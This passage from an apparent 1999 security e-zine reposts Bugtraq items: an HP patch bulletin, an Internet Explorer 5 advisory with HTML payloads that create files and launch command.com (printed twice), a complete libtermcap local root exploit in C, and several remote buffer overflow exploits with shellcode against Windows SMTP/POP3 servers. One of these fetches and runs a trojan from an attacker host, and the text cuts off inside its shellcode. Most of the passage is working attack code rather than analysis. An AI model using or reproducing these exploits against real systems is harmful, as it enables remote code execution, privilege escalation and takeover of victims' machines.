memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;
sprintf(packetbuf,"user %s\r\n",user);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"pass %s\r\n",pass);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"cwd %s\r\n",buf);
sendcmd(sockfd,packetbuf);
close(sockfd);
}
@HWA
54.0 HPSBUX9908-102 Security Vulnerability in rpc.cmsd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: [support_feedback@us-support.external.hp.com: Security Bulletins
Digest]
To: BUGTRAQ@SECURITYFOCUS.COM
[support_feedback@us-support.ex1.ems Content-Type: text/plain; charset=us-ascii
*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xBE7497F1
*** Signed: 9/9/99 6:01:14 AM
*** Verified: 9/13/99 11:56:21 AM
*** BEGIN PGP VERIFIED MESSAGE ***
----- Forwarded message from HP Electronic Support Center <support_feedback@us-support.external.hp.com> -----
Date: Thu, 9 Sep 1999 05:07:01 -0700 (PDT)
Subject: Security Bulletins Digest
From: support_feedback@us-support.external.hp.com (HP Electronic Support Center )
To: security_info@us-support.external.hp.com
Reply-To: support_feedback@us-support.external.hp.com
Errors-To: support_errors@us-support.external.hp.com
HP Support Information Digests
===============================================================================
o HP Electronic Support Center World Wide Web Service
---------------------------------------------------
If you subscribed through the HP Electronic Support Center and would
like to be REMOVED from this mailing list, access the
HP Electronic Support Center on the World Wide Web at:
http://us-support.external.hp.com
Login using your HP Electronic Support Center User ID and Password.
Then select Support Information Digests. You may then unsubscribe from the
appropriate digest.
===============================================================================
Digest Name: Daily Security Bulletins Digest
Created: Thu Sep 9 3:00:02 PDT 1999
Table of Contents:
Document ID Title
--------------- -----------
HPSBUX9908-102 Security Vulnerability in rpc.cmsd
The documents are listed below.
-------------------------------------------------------------------------------
Document ID: HPSBUX9908-102
Date Loaded: 19990908
Title: Security Vulnerability in rpc.cmsd
-------------------------------------------------------------------------
**REVISED 01** HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00102, 30 Aug 1999
Last Revised: 08 Sept 1999
-------------------------------------------------------------------------
The information in the following Security Bulletin should be acted upon
as soon as possible. Hewlett-Packard Company will not be liable for any
consequences to any customer resulting from customer's failure to fully
implement instructions in this Security Bulletin as soon as possible.
-------------------------------------------------------------------------
PROBLEM: Buffer overflow vulnerability in the CDE Calendar Manager
Service Daemon, rpc.cmsd.
PLATFORM: HP-9000 Series 700/800 HP-UX releases 10.2X, 10.30, 11.00.
DAMAGE: Allows remote and local users to execute arbitrary code with
root privileges.
SOLUTION: **REVISED 01**
Install the applicable patch.
AVAILABILITY: The patches are available now.
CHANGE SUMMARY: This revision affects only HP-UX 10.24 (VVOS).
-------------------------------------------------------------------------
I.
A. Background
This problem has been reported in CERT Advisory CA-99-08.
B. Fixing the problem - Install the applicable patch:
For HP-UX release 10.20 PHSS_19482;
------>>>> For HP-UX release 10.24 PHSS_19702;
For HP-UX release 11.00 PHSS_19483.
There are significant patch dependencies for these patches.
Note: HP-UX release 10.30 was a development release prior to
the availability of HP-UX release 11.00. HP-UX release
10.30 will not be patched.
C. To subscribe to automatically receive future NEW HP Security
Bulletins from the HP Electronic Support Center via electronic
mail, do the following:
Use your browser to get to the HP Electronic Support Center page
at:
http://us-support.external.hp.com
(for US, Canada, Asia-Pacific, & Latin-America)
http://europe-support.external.hp.com (for Europe)
Login with your user ID and password (or register for one).
Remember to save the User ID assigned to you, and your password.
Once you are in the Main Menu:
To -subscribe- to future HP Security Bulletins,
click on "Support Information Digests".
To -review- bulletins already released from the main Menu,
click on the "Search Technical Knowledge Database."
Near the bottom of the next page, click on "Browse the HP
Security Bulletin Archive".
Once in the archive there is another link to our current Security
Patch Matrix. Updated daily, this matrix categorizes security
patches by platform/OS release, and by bulletin topic.
The security patch matrix is also available via anonymous ftp:
us-ffs.external.hp.com
~ftp/export/patches/hp-ux_patch_matrix
D. To report new security vulnerabilities, send email to
security-alert@hp.com
Please encrypt any exploit information using the security-alert
PGP key, available from your local key server, or by sending a
message with a -subject- (not body) of 'get key' (no quotes) to
security-alert@hp.com.
Permission is granted for copying and circulating this Bulletin to
Hewlett-Packard (HP) customers (or the Internet community) for the
purpose of alerting them to problems, if and only if, the Bulletin
is not edited or changed in any way, is attributed to HP, and
provided such reproduction and/or distribution is performed for
non-commercial purposes.
Any other use of this information is prohibited. HP is not liable
for any misuse of this information by any third party.
________________________________________________________________________
-----End of Document ID: HPSBUX9908-102--------------------------------------
----- End forwarded message -----
--
Patrick Oonk - PO1-6BONE - patrick@pine.nl - www.pine.nl/~patrick
Pine Internet B.V. PGP key ID BE7497F1
Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/
-- Pine Security Digest - http://security.pine.nl/ (Dutch) ----
Excuse of the day: Dumb terminal
*** END PGP VERIFIED MESSAGE ***
@HWA
55.0 IE 5.0 security vulnerabilities - ImportExportFavorites
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: IE 5.0 security vulnerabilities - ImportExportFavorites - at
least creating and overwriting files, probably executing programs
To: BUGTRAQ@SECURITYFOCUS.COM
Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.0 under Windows 95/NT 4.0 (suppose Win98 is
vulnerable)
allows creating and overwriting local files and in SOME cases putting
content in them using the window.external.ImportExportFavorites()
method.
In SOME cases putting content in the file is possible which means
arbitrary programs may be executed.
Details:
The problem is the window.external.ImportExportFavorites() method, which
is used to
import and export bookmarks from and to Netscape Communicator.
The bigger problem is it allows creating and overwriting files, which
obviously leads to a dangerous DoS attack.
One may overwrite critical files which may lead to reinstalling Windows.
Example of this is:
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
which will create a file c:\fav.hta, containing IE's favorites without
asking the user, just notifying him the operation is successfull.
In SOME cases, HTML code may be injected in the exported file by
importing a specially
designed HTML file. The file to be imported may reside on a samba or
Windows file server and may be accessed by Microsoft Networking.
The difficult part is this must be exported by using only the <A> tag,
but HTML Applications help again.
I have verified importing on a Windows NT 4.0 box directly connected to
Internet and it worked fine.
But I could not reproduce importing favorites with Windows 95 connected
to Internet via dial-up, I do not have enough network resources to
investigate further.
I SHALL MUCH APPRECIATE SOME NETWORK GURU EXPLAIN ME WHY IMPORTING USING
MICROSOFT NETWORKING DOES NOT WORK IN SOME CASES
AND CONFIRM OR DENY THE POSSIBLILTY OF IMPORTING FAVORITES FROM A
NETWORK FILE SEVER.
It is possible to import the file using "http" protocol, but then the
user must click the default button YES,
Microsoft does not warn about any security problems in this case.
So the code looks like this:
In a HTML file:
------------------------------------------------------------------
<SCRIPT>
// you must change the IP or make the file local !!!!!!!!!!
window.external.ImportExportFavorites(1,"\\\\1.1.1.1\\test\\fav.imp");
// Sure, the StartUp folder is better
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
------------------------------------------------------------------
In the imported file (fav.imp), residing on a samba or Windows server
without authentication:
-------------------------------------------------------------------
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<DL>
<DT><A HREF="#" STYLE="left:expression(eval('f= new
ActiveXObject(\'Scripting.FileSystemObject\');a=f.CreateTextFile(\'C:\\\\GTEST.BAT\',true);a.WriteLine(\'echo
Hi\');a.WriteLine(\'pause\');a.close();alert(\'File C:\\\\GTEST.BAT
created\');window.close();'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123456</A>
<DT><A HREF="#" STYLE="left:expression(eval('a=new
ActiveXObject(\'WScript.Shell\');a.run(\'c:\\command.com\');alert(\'Program
started\');window.close()'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123455</A>
</DL>
-------------------------------------------------------------------
To see the effect start c:\fav.hta (it may be placed in the StartUp
folder and executed automatically)
This vulnerability can be exploited via email or Usenet message using
window.open().
The user must have installed file sharing in order remote importing to
work.
Workaround:
Disable Active Scripting
Demonstration is available at http://www.nat.bg/~joro/imp.html
Regards,
Georgi Guninski
http://www.nat.bg/~joro
Subject: IE 5.0 security vulnerabilities - ImportExportFavorites - at
least creating and overwriting files, probably executing programs
To: BUGTRAQ@SECURITYFOCUS.COM
Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.0 under Windows 95/NT 4.0 (suppose Win98 is
vulnerable)
allows creating and overwriting local files and in SOME cases putting
content in them using the window.external.ImportExportFavorites()
method.
In SOME cases putting content in the file is possible which means
arbitrary programs may be executed.
Details:
The problem is the window.external.ImportExportFavorites() method, which
is used to
import and export bookmarks from and to Netscape Communicator.
The bigger problem is it allows creating and overwriting files, which
obviously leads to a dangerous DoS attack.
One may overwrite critical files which may lead to reinstalling Windows.
Example of this is:
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
which will create a file c:\fav.hta, containing IE's favorites without
asking the user, just notifying him the operation is successfull.
In SOME cases, HTML code may be injected in the exported file by
importing a specially
designed HTML file. The file to be imported may reside on a samba or
Windows file server and may be accessed by Microsoft Networking.
The difficult part is this must be exported by using only the <A> tag,
but HTML Applications help again.
I have verified importing on a Windows NT 4.0 box directly connected to
Internet and it worked fine.
But I could not reproduce importing favorites with Windows 95 connected
to Internet via dial-up, I do not have enough network resources to
investigate further.
I SHALL MUCH APPRECIATE SOME NETWORK GURU EXPLAIN ME WHY IMPORTING USING
MICROSOFT NETWORKING DOES NOT WORK IN SOME CASES
AND CONFIRM OR DENY THE POSSIBLILTY OF IMPORTING FAVORITES FROM A
NETWORK FILE SEVER.
It is possible to import the file using "http" protocol, but then the
user must click the default button YES,
Microsoft does not warn about any security problems in this case.
So the code looks like this:
In a HTML file:
------------------------------------------------------------------
<SCRIPT>
// you must change the IP or make the file local !!!!!!!!!!
window.external.ImportExportFavorites(1,"\\\\1.1.1.1\\test\\fav.imp");
// Sure, the StartUp folder is better
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>
------------------------------------------------------------------
In the imported file (fav.imp), residing on a samba or Windows server
without authentication:
-------------------------------------------------------------------
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<DL>
<DT><A HREF="#" STYLE="left:expression(eval('f= new
ActiveXObject(\'Scripting.FileSystemObject\');a=f.CreateTextFile(\'C:\\\\GTEST.BAT\',true);a.WriteLine(\'echo
Hi\');a.WriteLine(\'pause\');a.close();alert(\'File C:\\\\GTEST.BAT
created\');window.close();'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123456</A>
<DT><A HREF="#" STYLE="left:expression(eval('a=new
ActiveXObject(\'WScript.Shell\');a.run(\'c:\\command.com\');alert(\'Program
started\');window.close()'));" ADD_DATE="923225094"
LAST_VISIT="934146000" LAST_MODIFIED="923225096">123455</A>
</DL>
-------------------------------------------------------------------
To see the effect start c:\fav.hta (it may be placed in the StartUp
folder and executed automatically)
This vulnerability can be exploited via email or Usenet message using
window.open().
The user must have installed file sharing in order remote importing to
work.
Workaround:
Disable Active Scripting
Demonstration is available at http://www.nat.bg/~joro/imp.html
Regards,
Georgi Guninski
http://www.nat.bg/~joro
@HWA
56.0 libtermcap<2.0.8-15 sploit by typo@scene.at
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - http://teso.scene.at/
// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12; // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"
int main(int argc, char **argv) {
char *buf;
int fd, buflen;
argv++;
if (argc>1) // dec,!hex args
sys = atoi(*(argv++));
if (argc>2)
sh = atoi(*(argv++));
if (argc>3)
exi = atoi(*(argv++));
if (argc>4)
eip = atoi(*(argv++));
buflen = eip + 20;
buf = (char *) malloc(buflen);
memset(buf, 'x', buflen);
buf[buflen] = 0;
memcpy(buf, entry, strlen(entry));
memcpy (buf+buflen-4,":\\y",3);
memcpy(buf+eip,&sys,4);
memcpy(buf+eip+4,&exi,4);
memcpy(buf+eip+8,&sh,4);
memcpy(buf+eip+12,&ran,4);
if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
perror("cannot create file");
exit(EXIT_FAILURE);
}
write(fd,buf,buflen);
close(fd);
free(buf);
setenv("TERMCAP", fil, 1);
execl(xte, "xterm", NULL);
exit(EXIT_SUCCESS);
}
@HWA
57.0 Various buffer overflows in Windows POP3/SMTP servers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Many kind of POP3/SMTP server softwares for Windows have buffer
overflow bug
To: BUGTRAQ@SECURITYFOCUS.COM
Many kind of POP3/SMTP server softwares for Windows have buffer overflow bug
(by The Shadow Penguin Securuty http://shadowpenguin.backsection.net)
1. Introduction
I confirmed many kind of POP3/SMTP servers for Windows which are published on
"SOFT-SEEK.com" contain the buffer overflow bugs. I list the softwares which
have buffer overflow bug, I also publish the exploit programs for some software.
2. POP3/SMTP server softwares which have buffer overflow bugs
Software Version Service Overflow Point
-------------------------------------------------------
@Work SmartServer3 3.51 SMTP long MAIL FROM:
CMail Server 2.3 SP2 SMTP long MAIL FROM:
Personal Mail Server 3.09 SMTP long MAIL FROM: (I've notified to developer)
Tiny FTP daemon 0.51 POP3 long USER (I've notified, Now fixed)
Internet Anywhere 2.2.2 POP3 long USER
FuseMail 2.7 POP3 long USER,PASS
aVirt Mail Server 3.3 POP/SMTP long MAIL FROM:,long USER
If the host recives the packet which contains the exploit code, the host has been
cracked by any instructions which are coded in the exploit code. We show the
demonstration programs which execute any command on the victim host. For the proof
of the risk of intrusion, I also publish the exploit program for
"Personal Mail Server" that can send a prepared program to victim host and execute
it. If the trojan program is sent, the victim machine will be controlled remotely.
If the host receives the packet which contains the exploit code, the host will
execute any instructions that is written in the exploit code. We show the
demonstration programs which execute any command on the victim host. For the
proof of the risk of intrusion, I publish the exploit program for
"Personal Mail Server" that can send a trojan program which is prepared in the
attacker host. Of course, it can be executed remotely. If the trojan program is
sent, the victim machine will be controlled remotely.
3. Exploit
I coded the exploits for the following softwares:
(1) @Work SmartServer3
(2) CMail Server
(3) FuseMail 2.7
(4) Personal Mail Server
(5) Tiny FTP daemon
(5) is now fixed, I publish the exploit program for (1)-(4)
-------------------
(1) @Work SmartServer3
/*=============================================================================
NetcPlus SmartServer3 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 2000
#define SMTP_PORT 25
#define RETADR 1167
#define JMPADR 1163
#define JMPOFS 6
#define EIP 0xbff7a06b
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
int sockfd,i,ip;
if (argc<2){
printf("usage\n %s HostName\n",argv[0]);
exit(1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(SMTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
exploit_code[65]=strlen(cmdbuf+23);
memset(buf,0x90,BUFSIZE);
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR] =JMPS;
buf[JMPADR+1]=JMPOFS;
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
buf[2000]=0;
sprintf(packetbuf,"helo penguin\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
printf("%s\n",packetbuf);
sprintf(packetbuf,"MAIL FROM: %s\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
sleep(100);
close(sockfd);
}
-------------------
(2) CMail Server
/*=============================================================================
CMAIL Server 2.3 SP2 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 2000
#define SMTP_PORT 25
#define RETADR 626
#define JMPADR 622
#define JMPOFS 6
#define EIP 0xbff7a06b
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF, 0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
int sockfd,i,ip;
if (argc<2){
printf("usage\n %s HostName\n",argv[0]);
exit(1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(SMTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
exploit_code[65]=strlen(cmdbuf+23);
memset(buf,0x90,BUFSIZE);
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR] =JMPS;
buf[JMPADR+1]=JMPOFS;
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;
sprintf(packetbuf,"helo penguin\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
printf("%s\n",packetbuf);
sprintf(packetbuf,"MAIL FROM: aa <%s@aa.com>\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
sleep(100);
close(sockfd);
}
-------------------
(4) FuseMail 2.7
/*=============================================================================
FuseMail Version 2.7 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 1159
#define RETADR 1074
#define FTP_PORT 110
#define JMP_ESP 0xbff7a027
unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.notepad.exe";
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[3000],buf[1500];
int sockfd,i,ip;
if (argc<2){
printf("usage\n %s HostName\n",argv[0]);
exit(1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(FTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
memset(buf,'a',BUFSIZE);
buf[BUFSIZE]=0;
ip=JMP_ESP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
sprintf(packetbuf,"USER %s\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
memset(packetbuf,0,1024);
sprintf(packetbuf,"PASS sample\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
close(sockfd);
}
-------------------
(4) Personal Mail Server
Prog.1 : This program sends the very small client program which can execute the trojan
after the translation from other host.
Prog.2 : Program Translation Server. The Program Translation Server which is used by Prog.1
Prog.1
/*=============================================================================
Personal Mail Server Version 3.072-3.09 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 4000
#define SMTP_PORT 25
#define RETADR 267
#define JMPADR 263
#define JMPOFS 6
#define EIP 0xbff7a06b
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[700]={
0xEB,0x58,0x5F,0x32,0xC0,0x8B,0xDF,0x33,0xC9,0xB1,0x09,0xFE,0xC1,0x03,0xD9,0x88,
0x03,0x88,0x47,0x16,0x88,0x47,0x21,0x88,0x47,0x28,0x88,0x47,0x30,0x88,0x47,0x35,
0x88,0x47,0x41,0x88,0x47,0x47,0x88,0x47,0x4E,0x88,0x47,0x55,0x88,0x47,0x58,0x88,
0x47,0x5E,0x88,0x47,0x65,0x88,0x47,0x6A,0x8B,0xC7,0x50,0xB8,0x50,0x77,0xF7,0xBF,
0xFF,0xD0,0x89,0x47,0x6E,0x8B,0xC7,0x33,0xC9,0xB1,0x0B,0x03,0xC1,0x50,0xB8,0x50,
0x77,0xF7,0xBF,0xFF,0xD0,0x89,0x47,0x72,0xEB,0x02,0xEB,0x72,0x8B,0xC7,0x33,0xC9,
0xB1,0x17,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x8B,0xC7,0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0x33,0xC0,0xB0,0x02,0x50,0xFF,
0xD6,0x57,0x33,0xC9,0xB1,0x82,0x03,0xF9,0x33,0xC9,0x66,0xB9,0x90,0x01,0x33,0xC0,
0xF3,0xAA,0x5F,0x8B,0xC7,0x33,0xC9,0xB1,0x22,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,
0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0x50,0x40,0x50,0x40,0x50,0xFF,
0xD6,0x89,0x47,0x76,0x8B,0xDF,0x33,0xC9,0xB1,0x82,0x03,0xD9,0xC6,0x03,0x02,0x66,
0xC7,0x43,0x02,0x1B,0x58,0xC7,0x43,0x04,0xEE,0xEE,0xEE,0xEE,0xEB,0x02,0xEB,0x56,
0x8B,0xC7,0x33,0xC9,0xB1,0x29,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0xB0,0x10,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x82,
0x03,0xC1,0x50,0xFF,0x77,0x76,0xFF,0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x42,0x03,0xC1,
0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x8B,0xC7,0x33,
0xC9,0xB1,0x56,0x03,0xC1,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x59,0x03,0xC1,0x50,0xFF,
0xD6,0x89,0x47,0x7A,0xEB,0x02,0xEB,0x63,0x8B,0xC7,0x33,0xC9,0xB1,0x31,0x03,0xC1,
0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0x50,
0x66,0xB8,0xE8,0x03,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0xFF,0x77,
0x76,0xFF,0xD6,0x89,0x47,0x7E,0x33,0xDB,0x3B,0xC3,0x74,0x31,0x72,0x2F,0x8B,0xC7,
0x33,0xC9,0xB1,0x48,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,
0xD0,0x8B,0xF0,0xFF,0x77,0x7A,0xFF,0x77,0x7E,0x33,0xC0,0xB0,0x01,0x50,0x8B,0xC7,
0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0xFF,0xD6,0xEB,0x9D,0xEB,0x6C,0x8B,0xC7,0x33,
0xC9,0xB1,0x36,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,
0x8B,0xF0,0xFF,0x77,0x76,0xFF,0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x4F,0x03,0xC1,0x50,
0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0xFF,0x77,0x7A,0xFF,
0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x5F,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,
